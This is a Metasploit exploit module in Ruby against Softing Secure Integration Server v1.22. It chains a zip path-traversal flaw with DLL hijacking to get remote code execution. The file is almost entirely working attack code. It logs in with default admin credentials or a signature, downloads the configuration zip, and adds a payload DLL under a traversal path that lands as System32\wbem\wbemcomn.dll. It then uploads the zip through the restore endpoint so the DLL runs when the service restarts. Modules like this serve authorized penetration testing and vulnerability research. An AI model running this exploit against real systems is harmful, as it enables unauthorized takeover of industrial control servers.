##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zip'
require 'metasploit/framework/login_scanner/softing_sis'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Softing Secure Integration Server v1.22 Remote Code Execution',
        'Description' => %q{
          This module chains two vulnerabilities (CVE-2022-1373 and CVE-2022-2334) to achieve authenticated remote code execution against Softing Secure Integration Server v1.22.

          In CVE-2022-1373, the restore configuration feature is vulnerable to a directory traversal vulnerablity when processing zip files. When using the "restore configuration" feature to upload a zip file containing a path traversal file which is a dll called ..\..\..\..\..\..\..\..\..\..\..\Windows\System32\wbem\wbemcomn.dll. This causes the file C:\Windows\System32\wbem\wbemcomn.dll to be created and executed upon touching the disk.

          In CVE-2022-2334, the planted wbemcomn.dll is used in a DLL hijacking attack when Softing Secure Integration Server restarts upon restoring configuration, which allows us to execute arbitrary code on the target system.

          The chain demonstrated in Pwn2Own used a signature instead of a password. The signature was acquired by running an ARP spoofing attack against the local network where the Softing SIS server was located. A username is also required for signature authentication.

          A custom DLL can be provided to use in the exploit instead of using the default MSF-generated one. Refer to the module documentation for more details.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Chris Anastasio (muffin) of Incite Team', # discovery
          'Steven Seeley (mr_me) of Incite Team', # discovery
          'Imran E. Dawoodjee <imrandawoodjee.infosec[at]gmail.com>', # msf module
        ],
        'References' => [
          ['CVE', '2022-1373'],
          ['CVE', '2022-2334'],
          ['ZDI', '22-1154'],
          ['ZDI', '22-1156'],
          ['URL', 'https://industrial.softing.com/fileadmin/psirt/downloads/syt-2022-5.html'],
          ['URL', 'https://ide0x90.github.io/softing-sis-122-rce/']
        ],
        'DefaultOptions' => {
          'RPORT' => 8099,
          'SSL' => false,
          'EXITFUNC' => 'thread',
          'WfsDelay' => 300
        },
        'Platform' => 'win',
        # the software itself only supports x64, see
        # https://industrial.softing.com/products/opc-opc-ua-software-platform/integration-platform/secure-integration-server.html
        'Targets' => [
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2022-07-27',
        'Privileged' => true,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
            ]
          }
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('SIGNATURE', [false, 'Use a username/signature pair instead of username/password pair to authenticate']),
        OptString.new('USERNAME', [false, 'The username to specify for authentication.', 'admin']),
        OptString.new('PASSWORD', [false, 'The password to specify for authentication', 'admin']),
        OptString.new('DLLPATH', [false, 'Custom compiled DLL to use'])
      ]
    )

    self.needs_cleanup = true
  end

  # this will be updated with the signature from "check"
  @signature = nil

  # create a checker instance to reuse code from the Softing SIS login bruteforce module
  def checker_instance
    Metasploit::Framework::LoginScanner::SoftingSIS.new(
      configure_http_login_scanner(
        host: datastore['RHOSTS'],
        port: datastore['RPORT'],
        connection_timeout: 5
      )
    ).dup
  end

  # check if the generated/provided signature is valid for the specified user
  def signature_check(user, signature)
    send_request_cgi({
      'method' => 'GET',
      'uri' => "/runtime/core/user/#{user}/authentication",
      'vars_get' => {
        'User' => user,
        'Signature' => signature
      }
    })
  end

  def check
    # check the Softing SIS version
    softing_version_res = checker_instance.check_setup
    unless softing_version_res
      return CheckCode::Unknown('Could not determine the target status')
    end

    softing_version = Rex::Version.new(softing_version_res)
    print_status("#{peer} - Found Softing Secure Integration Server #{softing_version}")

    # the vulnerabilities are to be fixed in version 1.30 according to the Softing advisory
    # so we will not continue if the version is not vulnerable
    unless softing_version < Rex::Version.new('1.30')
      return CheckCode::Safe("Target is not vulnerable based on version: #{softing_version_res}")
    end

    # if the operator provides a signature, then use that instead of the username and password
    if datastore['SIGNATURE']
      print_status("#{peer} - Authenticating as user #{datastore['USERNAME']} with signature #{datastore['SIGNATURE']}...")
      # send a GET request to /runtime/core/user/<username>/authentication
      signature_check_res = signature_check(datastore['USERNAME'], datastore['SIGNATURE'])

      # if we cannot connect at this point, we only know that the version is < 1.30
      # the system "appears" to be vulnerable
      unless signature_check_res
        print_error("#{peer} - Connection failed!")
      end

      # if the signature is correct, 200 OK is returned
      if signature_check_res.code == 200
        print_good("#{peer} - Signature #{datastore['SIGNATURE']} is valid for user #{datastore['USERNAME']}")
        @signature = datastore['SIGNATURE']
      else
        print_error("#{peer} - Signature #{datastore['SIGNATURE']} is invalid for user #{datastore['USERNAME']}!")
      end
    # login with username and password
    else
      # get the authentication token
      auth_token = checker_instance.get_auth_token(datastore['USERNAME'])
      # generate the signature
      @signature = checker_instance.generate_signature(auth_token[:proof], datastore['USERNAME'], datastore['PASSWORD'])
      # check the generated signatures' validity
      signature_check_res = signature_check(datastore['USERNAME'], @signature)
      # if we cannot connect, then the system "appears" to be vulnerable
      unless signature_check_res
        print_error("#{peer} - Connection failed!")
      end

      # if the signature is correct, 200 OK is returned
      if signature_check_res.code == 200
        print_good("#{peer} - Valid credentials provided")
      else
        print_error("#{peer} - Invalid credentials!")
      end
    end

    # if the version is less than 1.30 it's supposedly vulnerable
    # but there is no way to confirm vulnerability existence without actually exploiting
    # so instead of "Vulnerable", return "Appears"
    CheckCode::Appears("Detected vulnerable version: #{softing_version_res}")
  end

  def exploit
    # did the operator specify a custom DLL? If not...
    if datastore['DLLPATH']
      # otherwise, just use their provided DLL and assume they compiled everything correctly
      # there is no way to check if it's compiled correctly anyway
      dll_path = datastore['DLLPATH']
    else
      # have MSF create the malicious DLL
      path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-2334')
      datastore['EXE::Path'] = path
      datastore['EXE::Template'] = ::File.join(path, 'template_x64_windows.dll')

      print_status('Generating payload DLL...')
      dll = generate_payload_dll
      dll_name = 'wbemcomn.dll'
      dll_path = store_file(dll, dll_name)
      print_status("Created #{dll_path}")
    end

    # backup the Softing SIS configuration
    print_status("#{peer} - Saving configuration...")
    get_config_zip_res = send_request_cgi({
      'method' => 'GET',
      'uri' => '/runtime/core/config-download',
      'vars_get' => {
        'User' => datastore['USERNAME'],
        'Signature' => @signature
      }
    })

    # end if we cannot get the configuration for some reason
    unless get_config_zip_res
      fail_with Failure::Unreachable, "#{peer} - Could not obtain configuration"
    end

    # status code 200 is the expected response to getting the configuration ZIP
    unless get_config_zip_res.code == 200
      # for verbosity, save the JSON response
      get_config_zip_res_json = get_config_zip_res.get_json_document
      vprint_error("#{peer} - #{get_config_zip_res_json}")
      fail_with Failure::UnexpectedReply, "#{peer} - Returned code #{get_config_zip_res.code}, could not obtain configuration"
    end

    # if successful, the body cnotains the configuration ZIP
    config_zip = get_config_zip_res.body

    # config_download.zip is the name of the configuration ZIP when downloading from the browser
    # append a hash based on the peer address to prevent overwriting the config file if there are multiple targets
    config_zip_name = "config_download_#{Digest::MD5.hexdigest(peer)}.zip"

    # store the config zip file
    config_zip_path = store_file(config_zip, config_zip_name)
    print_status("Saved configuration to #{config_zip_path}")

    # insert the malicious DLL
    Zip::File.open(config_zip_path, create: true) do |zipfile|
      zipfile.add('..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\System32\\wbem\\wbemcomn.dll', dll_path)
    end

    # restore the configuration
    restore_config_res = send_request_cgi({
      'method' => 'PUT',
      'uri' => '/runtime/core/config-restore',
      'cookie' => "systemLang=en-US; lang=en; User=#{datastore['USERNAME']}; Signature=#{@signature}",
      'vars_get' => {
        'User' => datastore['USERNAME'],
        'Signature' => @signature
      },
      'data' => File.read(config_zip_path)
    })

    # no response
    unless restore_config_res
      fail_with Failure::Unreachable, "#{peer} - Could not restore configuration!"
    end

    # bad response
    unless restore_config_res.code == 200
      # for verbosity, show the JSON response
      restore_config_res_json = restore_config_res.get_json_document
      vprint_error("#{peer} - #{restore_config_res_json}")
      fail_with Failure::UnexpectedReply, "#{peer} - Returned code #{restore_config_res.code}, could not restore configuration!"
    end
  end

  # clean up the planted DLL if the session is meterpreter
  def on_new_session(session)
    super

    unless file_dropper_delete_file(session, 'C:\\Windows\\System32\\wbem\\wbemcomn.dll')
      # if the exploit was successful, register the malicious wbemcomn.dll file for cleanup
      register_file_for_cleanup('C:\\Windows\\System32\\wbem\\wbemcomn.dll')
    end
  end

  # Store the file in the MSF local directory (/root/.msf4/local/) so it can be used when creating the ZIP file
  # literal copypasta from exploits/windows/fileformat/cve_2017_8464_lnk_rce
  def store_file(data, filename)
    if !::File.directory?(Msf::Config.local_directory)
      FileUtils.mkdir_p(Msf::Config.local_directory)
    end

    if filename && !filename.empty?
      fname, ext = filename.split('.')
    else
      fname = "local_#{Time.now.utc.to_i}"
    end

    fname = ::File.split(fname).last

    fname.gsub!(/[^a-z0-9._-]+/i, '')
    fname << ".#{ext}"

    path = File.join("#{Msf::Config.local_directory}/", fname)
    full_path = ::File.expand_path(path)
    File.open(full_path, 'wb') { |fd| fd.write(data) }

    full_path.dup
  end
end
